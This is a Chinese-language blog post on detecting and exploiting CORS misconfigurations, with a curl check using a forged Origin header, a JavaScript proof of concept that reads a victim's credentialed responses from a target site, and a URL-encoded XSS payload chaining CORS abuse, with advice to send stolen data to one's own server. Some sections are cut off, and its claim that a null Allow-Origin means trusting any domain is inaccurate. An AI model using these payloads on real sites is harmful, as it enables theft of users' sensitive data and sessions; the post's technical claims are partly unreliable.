CORS手机测试软件,CORS漏洞利用检测和利用方式-CSDN博客

CORS全称Cross-Origin Resource Sharing, 跨域资源共享，是HTML5的一个新特性，已被所有浏览器支持，不同于古老的jsonp只能get请求。

检测方式：

1.curl访问网站

curl https://www.huasec.com -H "Origin: https://test.com" -I

检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com

2.burpsuite发送请求包，查看返回包

tips：Access-Control-Allow-Origin的值，当其为null、意味着信任任何域。

漏洞利用：

1.同于csrf跨站请求伪造，发送钓鱼链接，读取用户敏感数据。

poc：

CORS POC Exploit

Extract SID

Exploit

function cors() {

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

document.getElementById("demo").innerHTML = alert(this.responseText);

}

};

xhttp.open("GET", "https://target.com/info/", true);

xhttp.withCredentials = true;

xhttp.send();

}

用户点击button弹出响应信息

document.getElementById("demo").innerHTML = alert(this.responseText);

上面代码只是弹出响应信息，你还可以获取cookie，针对http-only js代码无法读取的情况：

cors exploit

搭建的攻击服务器恶意代码 tes.php：

2.结合xss漏洞利用cors漏洞，针对http_only js代码无法读取

poc:

利用：

http://192.168.1.1/index.php?function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","http:///192.168.1.1",true);xhttp.withCredentials=true;xhttp.send()}cors();&form_cartes=73&iframestat=1

同理结合上面代码，发送到你的服务器

批量检测：